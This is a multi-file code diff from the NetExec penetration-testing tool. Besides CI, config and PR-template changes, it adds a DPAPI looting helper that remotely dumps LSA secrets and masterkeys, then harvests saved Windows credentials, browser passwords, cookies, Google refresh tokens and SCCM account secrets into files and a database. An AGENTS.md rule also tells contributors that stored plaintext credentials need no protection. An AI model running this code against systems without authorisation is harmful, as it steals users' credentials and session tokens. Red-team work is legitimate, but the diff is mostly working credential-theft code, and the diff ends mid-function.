Merge pull request #1511 from Pennyw0rth/neff-dont-kill

rdp: keep the login session for --screenshot, -x and -X

.github/PULL_REQUEST_TEMPLATE.md

@@ -2,10 +2,16 @@
 Please include a summary of the change and which issue is fixed, or what the enhancement does.
 List any dependencies that are required for this change.
 
-If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted. See the project's AI policy for more details: https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md
+### AI Assistance
+If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted.
+
+Note that if you have used AI, you:
+- MUST test the changes against a live system
+- MUST include a screenshot of such a test (e.g.  with a before and after screenshot when submitting a bug fix)
+- MUST fill out this PR template by hand, see the project's AI policy: [AI_POLICY.md](https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md)
 
 ## Type of change
-Insert an "x" inside the brackets for relevant items (do not delete options)
+Insert an "x" inside the brackets for relevant items
 
 - [ ] Bug fix (non-breaking change which fixes an issue)
 - [ ] New feature (non-breaking change which adds functionality)
@@ -16,7 +22,8 @@ Insert an "x" inside the brackets for relevant items (do not delete options)
 - [ ] This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description)
 
 ## Setup guide for the review
-Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
+Please provide guidance on what setup is needed to test the introduced changes, such as the target(s) you tested against or software versions.
+
 In particular:
 - Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
 - Added Feature/Enhancement: Please specify what setup is needed in order to test the changes, such as:

.github/workflows/build-zipapps.yml

@@ -10,7 +10,7 @@ jobs:
     strategy:
       matrix:
         os: [ubuntu-latest, macOS-latest, windows-latest]
-        python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
+        python-version: ["3.11", "3.12", "3.13", "3.14"]
     steps:
     - uses: actions/checkout@v4
     - name: NetExec set up python on ${{ matrix.os }}

.github/workflows/test.yml

@@ -14,7 +14,7 @@ jobs:
       max-parallel: 5
       matrix:
         os: [ubuntu-latest]
-        python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
+        python-version: ["3.11", "3.12", "3.13", "3.14"]
     steps:
       - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
       - name: Install uv

.gitignore

@@ -64,3 +64,5 @@ docs/_build/
 
 # PyBuilder
 target/
+nxc/.DS_Store
+.DS_Store

AGENTS.md

@@ -12,6 +12,12 @@
 - Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
 - Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
 
+# NetExec protocol structure
+
+- Protocol implementations must follow the lifecycle defined by `proto_flow()` in `nxc/connection.py`.
+- Keep connection setup in `create_conn_obj()`, target enumeration in `enum_host_info()`, host information output in `print_host_info()`, authentication in the login methods, and cleanup in `disconnect()`.
+- Keep protocol-specific behavior in the appropriate lifecycle methods and let `proto_flow()` control their order and dispatch command arguments and modules.
+
 # NetExec module structure
 
 - In files under `nxc/modules/`, do not define variables, constants, or helper functions at module scope.
@@ -36,6 +42,7 @@
 # Filesystem and source conventions
 
 - Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested.
+- Before opening, creating, writing, renaming, moving, or deleting a file or directory, sanitize every path component derived from untrusted data and verify that the resulting path cannot traverse outside its intended base directory.
 - Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default.
 - `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`.
 - Place imports at the top of files unless explicitly instructed otherwise.

Makefile

@@ -13,7 +13,7 @@ clean:
 	find . -name '.pytest_cache' -exec rm -rf {} +
 
 tests:
-	flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics --exclude nxc/data/*
+	ruff check .
 
 requirements:
 	poetry export --without-hashes -f requirements.txt -o requirements.txt

netexec.spec

@@ -32,11 +32,12 @@ a = Analysis(
         'impacket.dcerpc.v5.rprn',
         'impacket.dcerpc.v5.even',
         'impacket.dcerpc.v5.even6',
+        'impacket.dcerpc.v5.tsts',
         'impacket.dpapi_ng',
         'impacket.tds',
         'impacket.version',
         'impacket.ldap.ldap',
-        'jwt',
+        'impacket.krb5.kpasswd',
         'nxc.connection',
         'nxc.protocols.smb.wmiexec',
         'nxc.protocols.smb.atexec',
@@ -48,9 +49,12 @@ a = Analysis(
         'nxc.parsers.ldap_results',
         'nxc.helpers.bash',
         'nxc.helpers.bloodhound',
+        'nxc.helpers.dpapi',
         'nxc.helpers.even6_parser',
+        'nxc.helpers.firefox',
         'nxc.helpers.msada_guids',
         'nxc.helpers.negotiate_parser',
+        'nxc.helpers.smb',
         'paramiko',
         'pefile',
         'pypsrp.client',
@@ -84,9 +88,16 @@ a = Analysis(
         'dploot.triage.cng',
         'dploot.lib.target',
         'dploot.lib.smb',
+        'dploot.lib.network.mssql',
+        'dploot.lib.network.winrm',
+        'dsinternals.common.cryptography.X509Certificate2',
+        'dsinternals.common.data.DNWithBinary',
+        'dsinternals.common.data.hello.KeyCredential',
+        'dsinternals.system.DateTime',
+        'dsinternals.system.Guid',
+        'lxml.objectify',
         'pyasn1_modules.rfc5652',
         'unicrypto.backends.pycryptodomex',
-        'dateutil.relativedelta',
         'sspilib.raw._text',
      ],
      hookspath=['./nxc/.hooks'],

nxc/cli.py

@@ -32,6 +32,8 @@ def gen_cli_args():
     generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
     generic_group.add_argument("--timeout", default=None, type=int, help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)")
     generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
+    generic_group.add_argument("--exclude-hosts", nargs="+", default=None, metavar="HOST", help="Exclude one or more hosts, IPs, CIDRs or hostnames from the scan")
+    generic_group.add_argument("--skip-self", action="store_true", help="Exclude the local machine from the scan")
 
     output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
     output_group = output_parser.add_argument_group("Output Options")

nxc/config.py

@@ -39,6 +39,12 @@ config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
 host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
 check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
 display_dc = nxc_config.getboolean("nxc", "display_dc", fallback=True)
+skip_self = nxc_config.getboolean("nxc", "skip_self", fallback=False)
+exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback=[]))
+if not isinstance(exclude_hosts, list):
+    nxc_logger.error(f"exclude_hosts must be a 'list', got '{type(exclude_hosts).__name__}'. Exiting.")
+    exit(1)
+
 
 if len(host_info_colors) != 4:
     nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.")

nxc/connection.py

@@ -14,15 +14,11 @@ from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
 
 from nxc.config import pwned_label
 from nxc.helpers.logger import highlight
+from nxc.helpers.path import sanitize_path_component
 from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
 from nxc.logger import nxc_logger, NXCAdapter
 from nxc.context import Context
 from nxc.paths import NXC_PATH
-from nxc.protocols.ldap.laps import laps_search
-from nxc.helpers.pfx import pfx_auth
-
-from impacket.dcerpc.v5 import transport
-from impacket.krb5.ccache import CCache
 
 sem = BoundedSemaphore(1)
 fail_lock = Lock()
@@ -100,37 +96,6 @@ def requires_admin(func):
     return wraps(func)(_decorator)
 
 
-def dcom_FirewallChecker(iInterface, remoteHost, timeout):
-    stringBindings = iInterface.get_cinstance().get_string_bindings()
-    for strBinding in stringBindings:
-        if strBinding["wTowerId"] == 7:
-            if strBinding["aNetworkAddr"].find("[") >= 0:
-                binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
-                bindingPort = "[" + bindingPort
-            else:
-                binding = strBinding["aNetworkAddr"]
-                bindingPort = ""
-
-            if binding.upper().find(iInterface.get_target().upper()) >= 0:
-                stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
-                break
-            elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
-                stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
-    if "stringBinding" not in locals():
-        return True, None
-    try:
-        rpctransport = transport.DCERPCTransportFactory(stringBinding)
-        rpctransport.setRemoteHost(remoteHost)
-        rpctransport.set_connect_timeout(timeout)
-        rpctransport.connect()
-        rpctransport.disconnect()
-    except Exception as e:
-        nxc_logger.debug(f"Exception while connecting to {stringBinding}: {e}")
-        return False, stringBinding
-    else:
-        return True, stringBinding
-
-
 class connection:
     def __init__(self, args, db, target):
         self.args = args
@@ -144,9 +109,11 @@ class connection:
         # Authentication info
         self.password = ""
         self.username = ""
+        self.certificate_auth = bool(self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert)
         self.kerberos = bool(self.args.kerberos or
                              self.args.use_kcache or
                              self.args.aesKey or
+                             (self.certificate_auth and not (self.protocol == "ldap" and self.args.schannel)) or   # PKINIT yields a TGT, while Schannel binds the certificate to the LDAP channel itself
                              (hasattr(self.args, "delegate") and self.args.delegate) or
                              (hasattr(self.args, "generate_st") and self.args.generate_st) or
                              (hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
@@ -154,6 +121,7 @@ class connection:
         self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
         self.admin_privs = False
         self.failed_logins = 0
+        self.has_reusable_secret = not (self.protocol == "ldap" and self.args.schannel)   # a Schannel bind authenticates the LDAP connection only, leaving no secret for a second channel
 
         # Network info
         self.domain = None
@@ -175,12 +143,14 @@ class connection:
         if self.kerberos:
             self.host = self.hostname
 
-        self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
+        self.logger.debug(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
 
         try:
             self.proto_flow()
         except FileNotFoundError as e:
             self.logger.error(f"File not found error on target {target}: {e}")
+        except ConnectionRefusedError as e:
+            self.logger.error(f"Target {target} refused the connection: {e}")
         except Exception as e:
             if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
                 self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
@@ -242,20 +212,20 @@ class connection:
         self.logger.debug("Kicking off proto_flow")
         self.proto_logger()
         if not self.create_conn_obj():
-            self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
+            self.logger.debug(f"Failed to create connection object for target {self.host}, exiting...")
         else:
-            self.logger.debug("Created connection object")
+            self.logger.info(f"Successfully created connection object for target '{self.host}'")
             self.enum_host_info()
 
             # Construct the output file template using os.path.join for OS compatibility
             base_log_dir = os.path.join(NXC_PATH, "logs")
-            filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
+            filename_pattern = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
             self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
             # Default output filename for logs
             self.output_filename = os.path.join(base_log_dir, filename_pattern)
 
             self.print_host_info()
-            if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql"):
+            if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql" and not self.certificate_auth):   # a failed certificate auth is not a null session
                 self.logger.debug("Calling command arguments")
                 self.call_cmd_args()
                 if self.args.module:
@@ -557,22 +527,29 @@ class connection:
         if self.args.use_kcache:
             self.logger.debug("Trying to authenticate using Kerberos cache")
             with sem:
+                from impacket.krb5.ccache import CCache
                 username = self.args.username[0] if len(self.args.username) else CCache.parseFile()[1]
                 password = self.args.password[0] if len(self.args.password) else ""
                 self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True)
                 self.logger.info("Successfully authenticated using Kerberos cache")
                 return True
 
-        if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
+        if self.certificate_auth:
             self.logger.debug("Trying to authenticate using Certificate pfx")
-            if not self.args.username:
+            if self.args.protocol == "ldap" and self.args.schannel:
+                # Schannel maps the certificate to an account server-side, so the supplied username is ignored
+                with sem:
+                    return self.plaintext_login(self.domain, "", "")
+            if not username:
                 self.logger.fail("You must specify a username when using certificate authentication")
                 return False
             with sem:
-                return pfx_auth(self)
+                from nxc.helpers.pfx import pfx_auth
+                return pfx_auth(self, domain[0], username[0])
 
         if hasattr(self.args, "laps") and self.args.laps:
             self.logger.debug("Trying to authenticate using LAPS")
+            from nxc.protocols.ldap.laps import laps_search
             username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
             cred_type = ["plaintext"]
             if not (username[0] or secret[0] or domain[0]):

nxc/data/nxc.conf

@@ -8,6 +8,8 @@ log_mode = False
 host_info_colors = ["green", "red", "yellow", "cyan"]
 check_guest_account = False
 display_dc = True
+skip_self = False
+exclude_hosts = []
 
 [BloodHound]
 bh_enabled = False

nxc/helpers/bloodhound.py

@@ -43,7 +43,7 @@ def add_user_bh(user, domain, logger, config):
             with driver.session().begin_transaction() as tx:
                 for user_info in users_owned:
                     distinguished_name = "".join([f"DC={dc}," for dc in user_info["domain"].split(".")]).rstrip(",")
-                    domain_query = tx.run(f"MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH '{distinguished_name}' RETURN d").data()
+                    domain_query = tx.run("MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH $distinguished_name RETURN d", distinguished_name=distinguished_name).data()
                     if not domain_query:
                         logger.debug(f"Domain {user_info['domain']} not found in BloodHound. Falling back to domainless query.")
                         _add_without_domain(user_info, tx, logger)
@@ -68,14 +68,14 @@ def _add_with_domain(user_info, domain, tx, logger):
         user_owned = f"{user_info['username']}@{domain}"
         account_type = "User"
 
-    result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) RETURN c").data()
+    result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) RETURN c", user_owned=user_owned).data()
 
     if len(result) == 0:
         logger.fail("Account not found in the BloodHound database.")
         return
     if result[0]["c"].get("owned") in (False, None):
         logger.debug(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name")
-        result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
+        result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=user_owned).data()[0]
         logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
 
 
@@ -87,7 +87,7 @@ def _add_without_domain(user_info, tx, logger):
         user_owned = user_info["username"]
         account_type = "User"
 
-    result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH '{user_owned}' RETURN c").data()
+    result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH $user_owned RETURN c", user_owned=user_owned).data()
 
     if len(result) == 0:
         logger.fail("Account not found in the BloodHound database.")
@@ -97,5 +97,5 @@ def _add_without_domain(user_info, tx, logger):
         return
     elif result[0]["c"].get("owned") in (False, None):
         logger.debug(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name")
-        result = tx.run(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
+        result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=result[0]["c"]["name"]).data()[0]
         logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")

nxc/helpers/dpapi.py

@@ -0,0 +1,461 @@
+
+from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection
+from dploot.lib.target import Target
+from dploot.triage.backupkey import BackupkeyTriage
+from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
+from dploot.triage.cng import CngTriage
+from dploot.triage.credentials import CredentialsTriage
+from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
+from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
+from dploot.triage.vaults import VaultsTriage
+
+from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
+from nxc.helpers.logger import highlight
+
+
+def upgrade_to_dploot_connection(target, connection):
+    """
+    DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part.
+    This function gets the calling NXC protocol and tries reuse the already opened connection
+    on DPLoot directly. If not it opens up a new connection.
+    """
+    conn = None
+    protocol = target.protocol
+    try:
+        match protocol:
+            case "smb":
+                from dploot.lib.network.smb import DPLootSMBConnection
+                conn = DPLootSMBConnection(target)
+                if connection is not None:
+                    conn.smb_session = connection.conn
+                else:
+                    conn.connect()
+            case "wmi":
+                from dploot.lib.network.wmi import DPLootWMIConnection
+                conn = DPLootWMIConnection(target)
+                if connection is not None:
+                    conn.dcom = connection.dcom_conn
+                    conn.iWbemLevel1Login = connection.iWbemLevel1Login
+                else:
+                    conn.connect()
+            case "winrm":
+                from dploot.lib.network.winrm import DPLootWINRMConnection
+                conn = DPLootWINRMConnection(target)
+                if connection is not None:
+                    conn.conn = connection.conn
+                else:
+                    conn.connect()
+            case "mssql":
+                from dploot.lib.network.mssql import DPLootMSSQLConnection
+                conn = DPLootMSSQLConnection(target)
+                if connection is not None:
+                    conn.conn = connection.conn
+    except Exception as e:
+        connection.logger.debug(e)
+        return None
+
+    return conn
+
+
+class DPAPITriage:
+    """
+    DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class.
+    Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize
+    it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also
+    to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc.
+
+    To implement this class in a protocol, use a @property decorator on dpapi_triage like so:
+
+    ```
+    @property
+    def dpapi_triage(self) -> DPAPITriage:
+        if self._dpapi_triage is not None:
+            return self._dpapi_triage
+        target = <dploot target creation>
+
+        self._dpapi_triage = DPAPITriage(self, target)
+        return self._dpapi_triage
+    ```
+
+    This way, every DPAPI related module will automaticaly work with the protocol
+
+    """
+    def __init__(self, connection, target: Target):
+        self.connection = connection
+        self.target = target
+
+        self.conn = None
+        self.dump_cookies = False
+        self.masterkeys = []
+        self._pvkbytes = None
+
+        # Keep track of writing secrets in file
+        self.output_file = self.connection.output_file_template.format(output_folder="dpapi")
+        self.secrets_counter = 0
+
+        if connection.args.dpapi is not None:
+            self.dump_cookies = "cookies" in connection.args.dpapi
+
+        # Variables to know what materkey types have already been dumped
+        self.system_masterkeys_already_dumped = False
+        self.users_masterkeys_already_dumped = False
+
+        # Initialize the connection here, if you need this class then you will need the connection
+        self.init_connection()
+
+    def __del__(self):
+        # When everything is finished, then we give the feedback to the user
+        if self.output_file is not None and self.secrets_counter > 0:
+            self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}")
+
+    def log_secret(self, line, logger=None):
+        # Handle the secret counter here, avoid to handle it in multiple places
+        if logger is None:
+            logger = self.connection.logger
+        logger.highlight(line)
+        with open(self.output_file, "a", encoding="utf-8") as fd:
+            self.secrets_counter += 1
+            fd.write(line + "\n")
+
+    def init_connection(self):
+        """Tries to initiate a DPLootConnection object from a NXC connection"""
+        if self.conn is not None:
+            self.connection.logger.debug("DPLoot connection already initiated, skipping.")
+            return
+        self.conn = upgrade_to_dploot_connection(connection=self.connection, target=self.target)
+        if self.conn is None:
+            self.connection.logger.fail("Could not upgrade connection to allow DPAPI triage")
+            return
+
+    def collect_masterkeys_from_target(self, dump_users: True, dump_system: False):
+        """
+        Get and decrypt masterkeys from the target.
+        dump_users: If True, then user masterkeys will be collected if they have not already been
+        dump_system: If True, then system masterkeys will be collected if they have not already been
+        """
+        # If we have already dumped everything, then we won't find new stuff
+        if self.users_masterkeys_already_dumped and self.system_masterkeys_already_dumped:
+            return self.masterkeys
+
+        masterkeys = []
+        plaintexts = {}
+        nthashes = {}
+
+        # First, check and handle the mkfile arg
+        if self.connection.args.mkfile is not None:
+            try:
+                masterkeys += parse_masterkey_file(self.connection.args.mkfile)
+            except Exception as e:
+                self.connection.logger.fail(str(e))
+
+        # Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys
+        if dump_users:
+            users = self.conn.list_users()
+            plaintexts = {username: password for _, _, username, password, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="plaintext")}
+            nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="hash")}
+            # dploot matches user.lower()
+            if self.connection.password != "":
+                plaintexts[self.connection.username.lower()] = self.connection.password
+            if self.connection.nthash != "":
+                nthashes[self.connection.username.lower()] = self.connection.nthash
+
+        # Now prepare the SYSTEM part
+        if (dump_system
+            and self.connection.dpapi_system_key is None
+            and hasattr(self.connection, "lsa")
+            and callable(self.connection.lsa)):
+            # We can use the protocol specific LSA dump if not already dumped.
+            # But first, just making sure the protocol supports LSA dump :)
+            self.connection.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys")
+            self.connection.lsa(quiet=True)
+            if self.connection.dpapi_system_key is not None:
+                self.connection.logger.highlight(f"dpapi_machinekey:{self.connection.dpapi_system_key['MachineKey'].hex()}")
+                self.connection.logger.highlight(f"dpapi_userkey:{self.connection.dpapi_system_key['UserKey'].hex()}")
+            else:
+                self.connection.logger.fail("Could not get DPAPI SYSTEM keys")
+
+        # Invoke MasterkeyTriage class
+        try:
+            masterkeys_triage = MasterkeysTriage(
+                target=self.target,
+                conn=self.conn,
+                pvkbytes=self.pvkbytes,
+                passwords=plaintexts,
+                nthashes=nthashes,
+                dpapiSystem=self.connection.dpapi_system_key,
+            )
+            self.connection.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
+
+            # Collect User Masterkeys if this has not already been done
+            if dump_users and not self.users_masterkeys_already_dumped:
+                self.connection.logger.display("Collecting DPAPI Users masterkeys")
+                masterkeys += masterkeys_triage.triage_masterkeys()
+                # if multiple functionalities are calling masterkeys triage, make sur we do it only once
+                self.users_masterkeys_already_dumped = True
+
+            # Collect SYSTEM Masterkeys if this has not already been done
+            if self.connection.dpapi_system_key is not None and not self.system_masterkeys_already_dumped:
+                self.connection.logger.display("Collecting DPAPI SYSTEM masterkeys")
+                masterkeys += masterkeys_triage.triage_system_masterkeys()
+                # if multiple functionalities are calling masterkeys triage, make sur we do it only once
+                self.system_masterkeys_already_dumped = True
+        except Exception as e:
+            self.connection.logger.debug(f"Could not get masterkeys: {e}")
+        self.masterkeys += masterkeys
+        # If we decrypted new masterkeys, print the message
+        if len(masterkeys) > 0:
+            self.connection.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ")
+        return self.masterkeys
+
+    def triage_credentials(self, masterkeys: list[Masterkey]):
+        # Collect User and Machine Credentials Manager secrets
+
+        def credential_callback(credential):
+            tag = "CREDENTIAL"
+            line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
+            self.log_secret(line)
+            self.connection.db.add_dpapi_secrets(
+                self.target.address,
+                tag,
+                credential.winuser,
+                credential.username,
+                credential.password,
+                credential.target,
+            )
+
+        try:
+            credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
+            self.connection.logger.debug(f"Credentials Triage Object: {credentials_triage}")
+            credentials_triage.triage_credentials()
+            credentials_triage.triage_system_credentials()
+        except Exception as e:
+            self.connection.logger.debug(f"Error while looting credentials: {e}")
+
+    def triage_chromium(self, masterkeys: list[Masterkey]):
+        cng_chromekey = None
+        # We need the CNG triage to recover Chrome passwords since Chrome v137
+        try:
+            cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys)
+            for cng_file in cng_triage.triage_system_cng():
+                if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
+                    self.connection.logger.debug("Found CNG Google ChromeKey1\n")
+                    cng_chromekey = cng_file.decrypted_private_key
+        except Exception as e:
+            self.connection.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
+
+        # Collect Chrome Based Browser stored secrets
+        def browser_callback(secret):
+            if isinstance(secret, LoginData):
+                secret_url = secret.url + " -" if secret.url != "" else "-"
+                line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
+                self.log_secret(line)
+                self.connection.db.add_dpapi_secrets(
+                    self.target.address,
+                    secret.browser.upper(),
+                    secret.winuser,
+                    secret.username,
+                    secret.password,
+                    secret.url,
+                )
+            elif isinstance(secret, GoogleRefreshToken):
+                line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
+                self.log_secret(line)
+                self.connection.db.add_dpapi_secrets(
+                    self.target.address,
+                    secret.browser.upper(),
+                    secret.winuser,
+                    secret.service,
+                    secret.token,
+                    "Google Refresh Token",
+                )
+            elif isinstance(secret, Cookie):
+                line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
+                self.log_secret(line)
+
+        try:
+            browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
+            browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey)
+        except Exception as e:
+            self.connection.logger.debug(f"Error while looting browsers: {e}")
+
+    def triage_vaults(self, masterkeys: list[Masterkey]):
+        def vault_callback(secret):
+            tag = "IEX"
+            if secret.type == "Internet Explorer":
+                resource = secret.resource + " -" if secret.resource != "" else "-"
+                line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
+                self.log_secret(line)
+                self.connection.db.add_dpapi_secrets(
+                    self.target.address,
+                    tag,
+                    secret.winuser,
+                    secret.username,
+                    secret.password,
+                    secret.resource,
+                )
+
+        try:
+            # Collect User Internet Explorer stored secrets
+            vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
+            vaults_triage.triage_vaults()
+        except Exception as e:
+            self.connection.logger.debug(f"Error while looting vaults: {e}")
+
+    def triage_firefox(self):
+        def firefox_callback(secret):
+            tag = "FIREFOX"
+            if isinstance(secret, FirefoxData):
+                url = secret.url + " -" if secret.url != "" else "-"
+                line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
+                self.log_secret(line)
+                self.connection.db.add_dpapi_secrets(
+                    self.target.address,
+                    tag,
+                    secret.winuser,
+                    secret.username,
+                    secret.password,
+                    secret.url,
+                )
+            elif isinstance(secret, FirefoxCookie):
+                line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
+                self.log_secret(line)
+
+        try:
+            # Collect Firefox stored secrets
+            firefox_triage = FirefoxTriage(target=self.target, logger=self.connection.logger, conn=self.conn, per_secret_callback=firefox_callback)
+            firefox_triage.run(gather_cookies=self.dump_cookies)
+        except Exception as e:
+            self.logger.debug(f"Error while looting firefox: {e}")
+
+    # The dpapi function for every protocol
+    def triage_dpapi(self):
+        # Load masterkeys
+        masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.connection.args.dpapi)
+        if len(masterkeys) == 0:
+            # Nothing will be recovered if no masterkeys, so we can stop there
+            self.connection.logger.fail("No masterkeys looted")
+            return
+
+        self.connection.logger.success("Looting secrets...")
+
+        # Calling all the triage functions. We can add other triage functions here
+        self.triage_credentials(masterkeys)
+        self.triage_chromium(masterkeys)
+        self.triage_vaults(masterkeys)
+        self.triage_firefox()
+
+    def triage_sccm(self):
+        masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True)
+        if len(masterkeys) == 0:
+            self.connection.logger.fail("No masterkeys looted")
+            return
+
+        self.connection.logger.success("Looting SCCM Credentials")
+
+        def sccm_callback(secret):
+            if isinstance(secret, SCCMCred):
+                tag = "NAA Account"
+                line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}"
+                self.log_secret(line)
+                self.connection.db.add_dpapi_secrets(
+                    self.target.address,
+                    f"SCCM - {tag}",
+                    "SYSTEM",
+                    secret.username.decode("latin-1"),
+                    secret.password.decode("latin-1"),
+                    "N/A",
+                )
+            elif isinstance(secret, SCCMSecret):
+                tag = "Task sequences secret"
+                line = f"[{tag}] {secret.secret.decode('latin-1')}"
+                self.log_secret(line)
+                self.connection.db.add_dpapi_secrets(
+                    self.target.address,
+                    f"SCCM - {tag}",
+                    "SYSTEM",
+                    "N/A",
+                    secret.secret.decode("latin-1"),
+                    "N/A",
+                )
+            elif isinstance(secret, SCCMCollection):
+                tag = "Collection Variable"
+                line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}"
+                self.log_secret(line)
+                self.connection.db.add_dpapi_secrets(
+                    self.target.address,
+                    f"SCCM - {tag}",
+                    "SYSTEM",
+                    secret.variable.decode("latin-1"),
+                    secret.value.decode("latin-1"),
+                    "N/A",
+                )
+        try:
